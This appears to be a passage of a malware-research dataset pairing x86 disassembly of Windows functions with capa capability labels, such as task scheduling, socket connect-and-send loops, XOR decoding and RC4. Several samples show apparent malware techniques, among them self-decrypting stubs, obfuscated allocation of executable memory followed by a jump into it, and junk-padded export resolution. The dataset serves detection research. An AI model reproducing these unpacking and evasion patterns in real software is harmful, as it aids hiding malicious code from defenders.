joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bb30
Capabilities:
Schedule task via itaskscheduler

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44aa40
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x463014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
add eax, ecx
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.00419800
mov byte [ebp - 4], 1
lea esi, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
push 0
cmovae esi, dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x40bbc7
lea eax, [ebp - 0x2c]
push eax
push 0x459fd0
push 1
push 0
push 0x459fc0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x40bc47
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40bc03
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40bbf9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bcca
push edx
push ecx
call fcn.0041e953
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 0x10
jb 0x40bcae
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40bca4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bcca
jmp 0x40bca4
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push 0x45a054
push 0x459ea8
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x20]
test eax, eax
jns 0x40bbc7
cmp eax, 0x80070050
jne 0x40bbc7
mov eax, dword [ebp - 0x2c]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x40bc94
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x40bbc7
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x40bbc9
push edx
push ecx
call fcn.0041e953
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e2e1
mov esp, ebp
pop ebp
ret
call fcn.00437f5a
int3
Function at 0x40d7f0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44acd0
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x463014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov edx, dword [ebp + 0x1c]
mov eax, edx
mov ecx, dword [ebp + 0x18]
sub eax, ecx
cmp eax, 1
jb 0x40d847
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x18], eax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov word [eax + ecx], 0
jmp 0x40d85c
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 8]
push dword [ebp - 0x34]
push 1
call fcn.0041a0d0
mov edx, dword [ebp + 0x34]
mov eax, edx
mov ecx, dword [ebp + 0x30]
sub eax, ecx
cmp eax, 1
jb 0x40d883
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x30], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov word [eax + ecx], 0
jmp 0x40d898
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 0x20]
push dword [ebp - 0x34]
push 1
call fcn.0041a0d0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x16], 0
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x34], 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov dword [ebp - 0x24], eax
mov eax, 0x610
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x30]
push eax
movlpd qword [ebp - 0x1e], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 2
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
cmp edx, 0x10
jb 0x40d916
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d90c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d974
push edx
push ecx
call fcn.0041e953
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40d958
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d94e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d974
push edx
push ecx
call fcn.0041e953
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e2e1
mov esp, ebp
pop ebp
ret
call fcn.00437f5a
int3
Function at 0x40eae0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x463014]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x469524
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], ecx
call fcn.0041d99c
add esp, 4
test eax, eax
jne 0x40ebeb
mov ecx, dword [0x469498]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push esi
push edi
mov dword [ebp - 0xc], ecx
xor esi, esi
mov edi, 4
push 0
push edi
lea eax, [ebp - 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40eb41
mov ecx, dword [ebp - 0xc]
add esi, eax
sub edi, eax
cmp esi, 4
jl 0x40eb24
xor ecx, ecx
mov edi, 8
cmp eax, 0xffffffff
setne cl
dec ecx
xor esi, esi
mov dword [ebp - 0xc], ecx
mov ecx, dword [0x469498]
mov dword [ebp - 0x10], ecx
nop dword [eax]
push 0
push edi
lea eax, [ebp + 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40eb7d
mov ecx, dword [ebp - 0x10]
add esi, eax
sub edi, eax
cmp esi, 8
jl 0x40eb60
mov edi, dword [ebp - 0xc]
or ecx, 0xffffffff
cmp eax, ecx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmove edi, ecx
mov ecx, dword [0x469498]
xor esi, esi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x18], ecx
test eax, eax
jle 0x40ebc7
mov edi, eax
mov eax, dword [ebp - 0x14]
push 0
push edi
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40ebc4
mov ecx, dword [ebp - 0x18]
add esi, eax
sub edi, eax
cmp esi, dword [ebp - 0x10]
jl 0x40eba2
mov edi, dword [ebp - 0xc]
jmp 0x40ebc7
or edi, 0xffffffff
push 0x469524
call fcn.0041d9c1
add esp, 4
test eax, eax
jne 0x40ebf1
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e2e1
mov esp, ebp
pop ebp
ret
push eax
call fcn.0041d55a
push eax
call fcn.0041d55a
int3
Function at 0x40f260
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x20f8
call fcn.0041f440
mov eax, dword [0x463014]
xor eax, esp
mov dword [esp + 0x20f4], eax
push esi
push edi
call fcn.00438803
cmp dword [0x4640e8], 0x10
mov edi, eax
push 0xa
lea eax, [esp + 0x10]
mov esi, 0x4640d4
cmovae esi, dword [0x4640d4]
push eax
push esi
mov dword [edi], 0
call fcn.00439d39
add esp, 0xc
cmp esi, dword [esp + 0xc]
je 0x40f3f4
cmp dword [edi], 0x22
je 0x40f3ea
movzx edi, ax
lea eax, [esp + 0x28]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40f3d3
cmp dword [0x464400], 0x10
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x10], xmm0
mov esi, 0x4643ec
mov word [esp + 0x10], ax
cmovae esi, dword [0x4643ec]
push edi
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x14]
push eax
push esi
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x469498], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x40f383
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0xbb8
call edi
push dword [0x469498]
call esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x469498], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40f350
lea ecx, [esp + 0x1b8]
call fcn.0040efc0
cmp eax, 0xffffffff
je 0x40f3d3
cmp byte [0x4673dc], 1
je 0x40f3c4
lea ecx, [esp + 0x1b8]
call fcn.0040efc0
cmp eax, 0xffffffff
jne 0x40f394
or eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x20f4]
xor ecx, esp
call fcn.0041e2e1
mov esp, ebp
pop ebp
ret
push dword [0x469498]
call esi
mov byte [0x4673dc], 0
mov ecx, dword [esp + 0x20fc]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, esp
call fcn.0041e2e1
mov esp, ebp
pop ebp
ret
push str.stoi_argument_out_of_range
call fcn.0041d4c9
push str.invalid_stoi_argument
call fcn.0041d489
int3
Function at 0x417e90
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x417db0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x417e40
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0x7530
call esi
jmp 0x417e80
push ebp
mov ebp, esp
and esp, 0xfffffff8
call fcn.0040aab0
mov ecx, 1
call fcn.0040dd40
call fcn.0040e5d0
call fcn.00415d10
jmp 0x417e50

Function at 0x420e7d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x4010ec
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a004]
jne 0x4010f6
repz ret
jmp fcn.0040134a

Function at 0x4017b5
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x40a010]
je 0x4017d0
inc edi
cmp edi, 0x17
jb 0x4017c1
cmp edi, 0x17
jae 0x401950
push ebp
push 3
call fcn.00403850
cmp eax, 1
pop ecx
je 0x40191c
push 3
call fcn.00403850
test eax, eax
pop ecx
jne 0x401804
cmp dword [section..data], 1
je 0x40191c
cmp ebx, 0xfc
je 0x40194f
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x40b040
push ebp
call fcn.004037eb
add esp, 0xc
test eax, eax
je 0x40183a
push esi
push esi
push esi
push esi
push esi
call fcn.00402d4d
add esp, 0x14
push 0x104
mov esi, 0x40b059
push esi
push 0
mov byte [0x40b15d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40187e
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.004037eb
add esp, 0xc
test eax, eax
je 0x40187e
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00402d4d
add esp, 0x14
push esi
call fcn.00403760
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x4018c3
push esi
call fcn.00403760
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x40b354
push 0x40870c
sub ecx, eax
push ecx
push eax
call fcn.004036a2
add esp, 0x14
test eax, eax
je 0x4018c3
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00402d4d
add esp, 0x14
jmp 0x4018c5
xor esi, esi
push 0x408708
push ebx
push ebp
call fcn.00403631
add esp, 0xc
test eax, eax
je 0x4018e5
push esi
push esi
push esi
push esi
push esi
call fcn.00402d4d
add esp, 0x14
push dword [edi*8 + 0x40a014]
push ebx
push ebp
call fcn.00403631
add esp, 0xc
test eax, eax
je 0x401907
push esi
push esi
push esi
push esi
push esi
call fcn.00402d4d
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.00403474
add esp, 0xc
jmp 0x40194f
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x40194f
cmp ebp, 0xffffffff
je 0x40194f
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x40a014]
push dword [esi]
call fcn.00403760
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x403474
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00402321
xor ebx, ebx
cmp dword [0x40b600], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x40354a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40362a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x408838
push edi
call esi
cmp eax, ebx
je 0x40362a
push eax
call fcn.004022b3
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b600], eax
call esi
push eax
call fcn.004022b3
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b604], eax
call esi
push eax
call fcn.004022b3
mov dword [0x40b608], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00401542
test eax, eax
pop ecx
pop ecx
je 0x403518
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00402d4d
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x40354a
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.004022b3
cmp eax, ebx
pop ecx
mov dword [0x40b610], eax
je 0x40354a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004022b3
pop ecx
mov dword [0x40b60c], eax
mov eax, dword [0x40b60c]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4035cf
cmp dword [0x40b610], ecx
je 0x4035cf
push eax
call fcn.0040232a
push dword [0x40b610]
mov esi, eax
call fcn.0040232a
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4035cf
cmp edi, ebx
je 0x4035cf
call esi
cmp eax, ebx
je 0x40359c
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40359c
test byte [ebp - 0x18], 1
jne 0x4035cf
lea eax, [ebp - 0x10]
push eax
call fcn.00401579
test eax, eax
pop ecx
je 0x4035b7
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00402d4d
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4035c6
or dword [ebp + 0x10], 0x200000
jmp 0x40360a
or dword [ebp + 0x10], 0x40000
jmp 0x40360a
mov eax, dword [0x40b604]
cmp eax, dword [ebp - 8]
je 0x40360a
push eax
call fcn.0040232a
cmp eax, ebx
pop ecx
je 0x40360a
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40360a
mov eax, dword [0x40b608]
cmp eax, dword [ebp - 8]
je 0x40360a
push eax
call fcn.0040232a
cmp eax, ebx
pop ecx
je 0x40360a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40b600]
call fcn.0040232a
cmp eax, ebx
pop ecx
je 0x40362a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40362c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x30809222
Capabilities:
Enumerate process modules

Disassembly:
push 0x24
mov eax, 0x3081af3b
call fcn.30801ee1
xor ebx, ebx
push 8
pop esi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
push ebx
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], ebx
call fcn.30814709
push 0x20
pop edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 1
mov byte [ebp - 0xd], 1
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp - 0x30]
call sub.psapi.dll_EnumProcesses
test eax, eax
je 0x3080928c
mov eax, dword [ebp - 0x18]
cmp eax, edi
jb 0x30809285
push ebx
add esi, esi
push esi
lea ecx, [ebp - 0x30]
call fcn.30814709
mov edi, esi
shl edi, 2
jmp 0x30809294
shr eax, 2
mov esi, eax
jmp 0x30809291
xor esi, esi
mov dword [ebp - 0x14], ebx
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
jne 0x3080925a
cmp dword [ebp - 0x14], ebx
je 0x308092c8
mov edi, dword [ebp + 8]
mov eax, dword [edi + 4]
mov ecx, dword [edi]
push eax
push ecx
lea eax, [ebp - 0x1c]
push eax
mov ecx, edi
call fcn.30814709
cmp esi, ebx
jbe 0x308092c8
mov ebx, dword [ebp - 0x30]
push ebx
mov ecx, edi
call fcn.30814709
add ebx, 4
dec esi
jne 0x308092ba
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.30806a0c
mov eax, dword [ebp - 0x14]
call fcn.30801fc6
ret

Function at 0x30814709
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x30814718
pop dword [ebp - 0x44]
mov eax, 0x30814718
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x6c493ea2
add dword [ebp - 0x54], 0xe20906a9
mov dword [ebp - 0x50], 0xa83c9c4e
add dword [ebp - 0x50], 0x89f6aff7
mov dword [ebp - 0x4c], 0x5a138805
sub dword [ebp - 0x4c], 0xdc743d7
mov dword [ebp - 0x48], 0x4a04866c
add dword [ebp - 0x48], 0xb5fb7994
lea eax, [ebp - 0x54]
push eax
mov eax, 0x88f896c
add eax, 0x27f246e8
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x3f790ba5
sub dword [ebp - 0x54], 0xcb06a24f
mov dword [ebp - 0x50], 0x2bb22d13
sub dword [ebp - 0x50], 0xea45cb9e
mov dword [ebp - 0x4c], 0xbd08875a
sub dword [ebp - 0x4c], 0x59991aee
mov dword [ebp - 0x48], 0xa7171f63
add dword [ebp - 0x48], 0x58e8e09d
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3ddeb
push 0
call eax
mov ecx, 0x4aff
xor edi, edi
add edi, eax
mov ebx, 0x516da63f
add ebx, 0xdf154bc1
add ebx, dword [ebp - 0x44]
mov edx, 0x29248809
xor dword [ebp - 0x10], edi
mov esi, dword [ebx]
sub dword [ebp - 0x38], 0xb4549728
xor esi, edx
add dword [ebp - 8], ebx
mov dword [edi], esi
sub dword [ebp - 0xc], esi
add edi, 0x67c92849
sub edi, 0x67c92845
add ebx, 0xe5bec51b
add ebx, 0x1a413ae9
loop 0x30814826
add eax, 0x11ecf
xor ebx, ebx
add ebx, eax
add eax, 0xf9a89b67
add eax, 0x657649e
mov ecx, 0xfc82c9a
add ecx, 0x20b7d366
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x4091a7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
nop
nop
not ebx
not ebx
lea edi, [eax + ebx]
not al
not al
wait
cmp ecx, dword [edx + 0x18]
not eax
not eax
mov dh, dh
je 0x409165
jmp 0x40918b
pop eax
nop
jne 0x40918d
nop
cld
xor eax, 0x8b9173c4
cmp eax, dword [esp + 4]
jne 0x40d230
jmp 0x40d182
add esi, ebx
ret 4
wait
movzx eax, byte [edi]
not dl
not dl
sub bl, bh
add bl, bh
inc edi
cmc
and edi, edi
sub dword [esp], eax
nop
cld
xchg edx, eax
xchg edx, eax
nop
mov ecx, ecx
cmp byte [edi], 0
jmp 0x409031
ret
xor eax, eax
push eax
nop
nop
cld
shl eax, 4
xchg dword [esp], eax
xchg al, dl
xchg al, dl
mov ebx, ebx
sub dword [esp], eax
jmp 0x4090d7
mov eax, dword [ebx + 0x3c]
and edx, 0xffffffd2
adc dl, bh
mov edx, dword [eax + ebx + 0x78]
lea edx, [edx + ebx]
and esi, edi
dec edi
mov esi, dword [edx + 0x20]
or ecx, 0xffffffff
jmp 0x40d227
test edx, esi
add edi, ebx
adc edx, esi
mov eax, dword [esi + ecx*2]
and eax, 0xffff
mov esi, dword [edi + eax*4]
jmp 0x4090bd
nop
mov esi, dword [edx + 0x24]
mov edi, dword [edx + 0x1c]
add esi, ebx
jmp 0x4091c4
add esi, ebx
not edi
inc al
dec al
sahf
lodsd eax, dword [esi]
xchg ah, al
xchg ah, al
inc ecx
jmp 0x40900f
Function at 0x435e70
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5a01d0]
xor edx, edx
cmp eax, edx
jne 0x435e96
xor eax, eax
mov byte [eax + 0x5a00d0], al
inc eax
cmp eax, 0x100
jl 0x435e7e
mov dword [0x5a01d0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5a00d0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x435f27
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x435efa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x435ec8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x435fa0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x435ff3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x435fda
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43a370
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x68
mov eax, dword [esp + 0x78]
push ebx
push esi
cmp eax, 1
push edi
mov dword [esp + 0x14], ecx
jl 0x43a591
cmp eax, 8
jg 0x43a591
cmp dword [esp + 0x8c], 2
jl 0x43a591
mov eax, dword [esp + 0x7c]
mov esi, dword [eax]
mov edi, dword [eax + 4]
mov ecx, dword [eax + 8]
mov dword [esp + 0x6c], ecx
sub ecx, esi
mov ebx, dword [eax + 0xc]
mov dword [esp + 0x7c], ecx
test ecx, ecx
mov dword [esp + 0x70], ebx
jle 0x43a591
sub ebx, edi
test ebx, ebx
mov dword [esp + 0x20], ebx
jle 0x43a591
mov eax, dword [esp + 0x80]
test eax, eax
je 0x43a3f7
mov edx, dword [eax]
mov dword [esp + 0x44], edx
mov edx, dword [eax + 4]
mov dword [esp + 0x48], edx
mov edx, dword [eax + 8]
mov dword [esp + 0x4c], edx
mov eax, dword [eax + 0xc]
mov dword [esp + 0x50], eax
xor edx, edx
push ebp
test ebx, ebx
mov dword [esp + 0x1c], 1
mov dword [esp + 0x14], edx
jle 0x43a57a
mov ebp, dword [0x4a8548]
mov eax, ebx
mov dword [esp + 0x10], 0x32
sub eax, edx
cmp eax, 0x32
jg 0x43a429
mov dword [esp + 0x10], eax
xor eax, eax
test ecx, ecx
jle 0x43a561
mov ebx, dword [esp + 0x10]
add ebx, edx
mov dword [esp + 0x20], ebx
sub ecx, eax
cmp ecx, 0x32
jle 0x43a449
mov ecx, 0x32
lea ebx, [ecx + eax]
mov ecx, dword [esp + 0x20]
push ecx
push ebx
push edx
lea edx, [esp + 0x34]
push eax
push edx
call dword [0x4a852c]
push edi
lea eax, [esp + 0x2c]
push esi
push eax
call ebp
mov eax, dword [esp + 0x84]
test eax, eax
je 0x43a488
lea ecx, [esp + 0x48]
lea edx, [esp + 0x28]
push ecx
lea eax, [esp + 0x2c]
push edx
push eax
call dword [0x4a8534]
lea ecx, [esp + 0x28]
push ecx
call dword [0x4a857c]
test eax, eax
jne 0x43a548
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], edx
mov edx, dword [esp + 0x34]
mov dword [esp + 0x40], ecx
mov eax, edi
mov ecx, esi
mov dword [esp + 0x44], edx
neg eax
neg ecx
push eax
lea edx, [esp + 0x3c]
push ecx
push edx
call ebp
mov edx, dword [esp + 0x40]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x60], edx
lea edx, [esp + 0x58]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x44]
push edx
mov edx, dword [esp + 0x94]
mov dword [esp + 0x60], ecx
mov ecx, dword [esp + 0x78]
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x74]
push edx
mov edx, dword [esp + 0x94]
sub ecx, edi
sub eax, esi
push edx
push ecx
mov ecx, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x9c]
push eax
call fcn.00439980
cmp eax, 1
jne 0x43a572
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x80]
push edx
push eax
push ecx
mov ecx, dword [esp + 0x28]
call fcn.0043a230
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 0x14]
mov eax, ebx
cmp eax, ecx
jl 0x43a43d
mov ebx, dword [esp + 0x24]
add edx, dword [esp + 0x10]
cmp edx, ebx
mov dword [esp + 0x14], edx
jge 0x43a57a
jmp 0x43a414
mov dword [esp + 0x1c], 0
mov ecx, dword [esp + 0x18]
call fcn.00439580
mov eax, dword [esp + 0x1c]
